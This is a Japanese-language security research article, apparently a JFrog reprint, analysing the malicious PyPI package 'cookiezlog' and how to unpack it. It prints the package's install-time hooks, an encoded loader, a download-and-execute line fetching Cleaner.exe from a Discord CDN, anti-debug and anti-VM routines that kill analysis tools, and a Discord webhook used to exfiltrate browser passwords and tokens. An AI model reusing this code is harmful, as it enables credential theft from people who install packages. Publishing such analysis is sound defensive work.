JFrog セキュリティ研究チームは、人気のあるオープンソース ソフトウェア (OSS) リポジトリを自動化ツールで継続的に監視し、発見された脆弱性や悪意のあるパッケージをリポジトリのメンテナやより広いコミュニティに報告しています。
今日、ほとんどの PyPI マルウェアは、原始的な変数の操作から洗練されたコードの平坦化やステガノグラフィ技術まで、様々な技術を使って静的検出を回避しようとします。これらの手法が使われることにより非常に怪しいパッケージになりますが、経験が少ない研究者が静的解析ツールを使ってマルウェアの正確な動作を理解できないようにします。しかし、マルウェアサンド ボックスのような動的解析ツールは、マルウェアの静的防御のレイヤーを素早く取り除き、その背後にあるロジックを明らかにすることができます。
最近、攻撃者はさらに進化しています。そこで、通常の難読化ツールやテクニックに加え、(動的解析ツールを妨害するように設計されている) アンチ デバッグ コードを採用していると思われる cookiezlog パッケージを検出し、公開しました。これは (他に公開されている記事含め) 私たちの研究者チームが PyPI マルウェアにこの種の防御を発見した最初の例です。
この記事では、この Python マルウェアで使用されているテクニックの概要と、類似のマルウェアを解凍する方法について説明します。
インストール トリガー
悪意のあるほとんどのパッケージと同様に、cookiezlog パッケージはインストールするとすぐに実行されます。これは setup.py の “develop” と “install” トリガーで実現されます。
class PostDevelopCommand(develop): def run(self): execute() install.run(self) class PostInstallCommand(install): def run(self): execute() install.run(self) ... setup( name='cookiezlog', version='0.0.1', description='Extra Package for Roblox grabbing', ... cmdclass={ 'develop': PostDevelopCommand, 'install': PostInstallCommand, }, )
静的難読化 その 1 – トリビアル (trivial) な例
最初の、そして最も単純な防御レイヤーは zlib でエンコードされたコードで、パッケージがインストールされた直後に実行されます。
def execute(): import marshal,zlib;exec(marshal.loads(zlib.decompress(b'x\x9cM\x90\xc1J\xc3@\x10\x86\xeb\xb5O\xb1\xec)\x01\xd9\xdd4I\x93\x08=\x84\xe0A\xa8(\xa1\x1e<\x85\x98\x0c6hv\xd7...')))
解読されたペイロードは、ハードコードされた URL からファイルをダウンロードし、被害者のマシンで実行されます。
URL = "https://cdn.discordapp.com/attachments/1037723441480089600/1039359352957587516/Cleaner.exe" response = requests.get(URL) open("Cleaner.exe", "wb").write(response.content) os.system("set __COMPACT_LAYER=RunAsInvoker | start Cleaner.exe")
実行ファイルは Windows の PE (Portable Executable) ファイルです。実行ファイル内の文字列を見ると、実際のネイティブコードではなく、PE 形式にパックされた Python スクリプトであることがわかります。
$ strings Cleaner.exe | grep 'PyIns' Cannot open PyInstaller archive from executable (%s) or external archive (%s) PyInstaller: FormatMessageW failed. PyInstaller: pyi_win32_utils_to_utf8 failed.
オープンソース ツール PyInstaller Extractor で素早く解凍することができます。
解凍の結果得られるコードには、主にサードパーティのライブラリを中心とした多くのファイルが含まれています。その中で最も興味深いファイルは main.pyc で、マルウェアコードをPython のバイトコードとして含んでいます。
静的難読化 その2 – PyArmor のアンパック
通常、uncompyle6 などのツールを使って main.pyc のバイトコードを Python ソースコードに逆コンパイルすることができるはずです。しかしこの場合、main.pyc に対して別の文字列を実行すると、このバイナリが PyArmor で難読化されていることがわかります。
pytransformr __pyarmor__ Dist\obf\main.py
PyArmor は商用のパッカー (実行可能なファイルを圧縮するもの) および難読化するためのツールで、元のコードに難読化技術を適用して暗号化し、解析から防御するものです。研究者にとって幸運なことに、PyArmor はイントロ スペクションに必要な情報の多くを保持しています。これを知っていれば、元のコードで使われている関数や定数の名前の復元を試みることができます。
PyArmor は一般に公開されているアンパッカーを持ちませんが、多少の手作業で完全に解凍することができます。このケースで、私たちはオリジナルのシンボルと文字列に興味があったので、(ライブラリ インジェクションを使用して) 素早く解凍するショートカットを実行することを選択しました。
パックされたモジュールをスタンドアローンのスクリプトとして実行しようとすると、システムに必要なモジュールがないことを指定するエラーが発生します。
$ python.exe .\main.pyc Traceback (most recent call last): File "<dist\obf\main.py>", line 3, in File "", line 1, in ModuleNotFoundError: No module named 'psutil'
このモジュールは psutil モジュールを探すので、PYTHONPATH のどこかに同じ名前のモジュールを作成すれば、プロセスのコンテキストで実行されます。これはプロセスに独自のコードを注入するための簡単なエントリ ポイントとして使用することができます。防御されたファイル (main.pyc) と同じディレクトリに psutil.py という名前の独自のファイルを以下のコードで作成しました。
import inspect for frame in inspect.stack(): for c in frame.frame.f_code.co_consts: if not inspect.iscode(c): continue dis.show_code(c)
このスニペットでは、実行中のコードに関する実行時情報を取得できる inspect モジュールを使用しています。このモジュールは、実行フレームを繰り返し、コードブロック名と参照される定数を抽出します。
このスニペットを実行すると、悪質なコードの機能と起源を識別するための文字列のリストが返されました。最も注目すべき文字列は、攻撃者のリポジトリを指すインジェクション モジュールの URL と、コード内のアンチ VM 機能への言及でした。
Injector app-(\d*\.\d*)*) https://raw.githubusercontent.com/Syntheticc/injection1/main/injection.js %WEBHOOK% %IP% index.js check_vm None VMwareService.exe VMwareTray.exe
アンチデバッグ技術
文字列の中で言及されている Syntheticc GitHub プロファイルは、執筆時点ではまだ利用可能でした。このプロファイルのリポジトリには、オープンソースのハッキングツールが大量に含まれています。中でも「Advanced Anti Debug」と呼ばれるリポジトリがあり、マルウェアの解析を阻止するために使用できるメソッドが含まれていました。
マルウェアが使用した動的な手法は、「アンチデバッグ (Anti-Debug)」と「アンチ VM (Anti-VM)」の 2 つのカテゴリに分けることができます。
「アンチ デバッグ」は、デバッガや逆アセンブラに関連する不審なシステムの挙動をチェックする機能で、次のような機能があります。
check_processes は、デバッガのプロセスがシステム上で動作しているかどうかを調べます。アクティブなプロセス リストと、以下を含む 50 以上の既知のツールのリストを比較します。
- “idau64.exe” (IDA Pro 逆アセンブラ)
- “x64dbg.exe” (x64dbg デバッガ)
- “Windbg.exe” (WinDbg デバッガ)
- “Devenv.exe” (Visual Studio IDE)
- “Processhacker.exe” (Process Hacker)
PROCNAMES = [ "ProcessHacker.exe", "httpdebuggerui.exe", "wireshark.exe", "fiddler.exe", "regedit.exe", ... ] for proc in psutil.process_iter(): if proc.name() in PROCNAMES: proc.kill()
check_research_tools はほぼ同じ機能を持ち、プロセス名の一部を 5 つのトラフィック解析ツールの質素なリストと比較します。
- “wireshark” (Wireshark ネットワークプロトコル解析)
- “fiddler” (Fiddler プロキシ)
- “http” (HTTP デバッガ、およびその他のツール)
- “traffic” (一般的なターミナル)
- “packet” (一般的なターミナル)
これらのプロセスのいずれかが実行中であることが判明した場合、アンチデバッグ コードはpsutil.Process.kill を介してプロセスを強制終了しようとします。これは非常に巧妙なアプローチとは言えません。ステルスをより意識したマルウェアは、外部プロセスと相互作用する代わりに、何の表示もなく実行を停止します。
その他のアンチ デバッグ技術は、マルウェアが仮想マシン内で実行されていないことを確認しようとするものです。
check_dll は、システムが VMWare (”vmGuestLib.dll”)、または VirtualBox (”vboxmrxnp.dll”) バーチャルマシンのゲスト下で動作していることを示す DLL があるかどうか、システムのルート ディレクトリをチェックします。
check_vm は、VMware 関連のプロセス、特に VMwareService.exe や VMwareTray.exe が実行されているかどうかをチェックします
check_registry は、仮想マシンが使用するキーを探します。例えば、VMWare ドライバがインストールされたときに追加される次のような有名なレジストリ・キーなどが対象となります。
HKEY_LOCAL_MACHINE\SYSTEM\
ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
def check_registry(): if system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul") != 1 and system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul") != 1:exit_program('Detected Vm') handle = OpenKey(HKEY_LOCAL_MACHINE, 'SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum') try: if "VMware" in QueryValueEx(handle, '0')[0] or "VBOX" in QueryValueEx(handle, '0')[0]: exit_program('Detected Vm') finally: CloseKey(handle)
check_specs 関数は、現在のマシンの使用状況を分析します。
def check_specs(): if int(str(virtual_memory()[0]/1024/1024/1024).split(".")[0]) <= 4: exit_program('Memory Ammount Invalid') if int(str(disk_usage('/')[0]/1024/1024/1024).split(".")[0]) <= 50: exit_program('Storage Ammount Invalid') if int(cpu_count()) <= 1: exit_program('Cpu Counts Invalid')
メモリやディスクの容量が少ない場合や、CPU が 1 つしかない場合は、仮想マシン内でプロセスが動作していると判断します。
上記のチェックはすべて比較的簡単なものですが、このマルウェアがすでに採用している静的解析に対する十分な防御機能により、経験が少ない研究者、特にこの特定のマルウェアの防御を破ることができない自動解析ツールしか使用したことのない研究者に対する十分な防御機能を提供します。
ペイロード – シンプルなパスワード グラバー
ペイロードは、マルウェアが使用する防御力の高さに比べて残念なほど単純ですが、それでも有害です。ペイロードはパスワード グラバーで、一般的なブラウザのデータ キャッシュに保存されている自動入力されるパスワードを収集し、C2 サーバー (この場合は Discord フック) に送信します。
https[://]discord[.]com/api/webhooks/1039353898445582376/cvrsu8CslmIYzNyXMpkjbkNEy_O0yjg08x5R_a7mPdgooQquALPINn1YfD5CuJ11dM7h).
マルウェアから抽出された文字列から、「業界標準」の Discord トークン漏洩機能に加え、send_info 関数で使用される文字列から分かるように、このペイロードは、複数の金融サービスのパスワードも探っていることが推測できます。
Name: send_info Filename: Argument count: 0 ... Constants: 0: None 1: 'USERPROFILE' ... 5: 'coinbase' ... 7: 'binance' ... 9: 'paypal' ...
まとめ
マルウェア開発者は、常に進化を続け新しい回避方法を追加し、ツールの解析から防御するための新しいレイヤーを追加していることが改めてわかります。ほんの数年前までは、PyPI マルウェアの作者が使用するツールといえば、シンプルなペイロード エンコーダだけでした。今日、OSS リポジトリにアップロードされるマルウェアは、より複雑化し、いくつかのレベルの静的および動的な防御を備え、商用および自作のツールを組み合わせて利用していることがわかります。これは、ネイティブ マルウェアの世界における「仲間」と同様であり、OSS リポジトリ型マルウェアは、カスタムポリモーフィックエンコーディングやより高度なアンチデバッグ手法といった高度な技術を駆使して、今後も進化を続けることが予想されます。
*本記事は、JFrog Japan 株式会社が提供している以下の記事から抜粋・転載したものです。
PyPIマルウェアの作成者に支持されるアンチデバッグのテクニック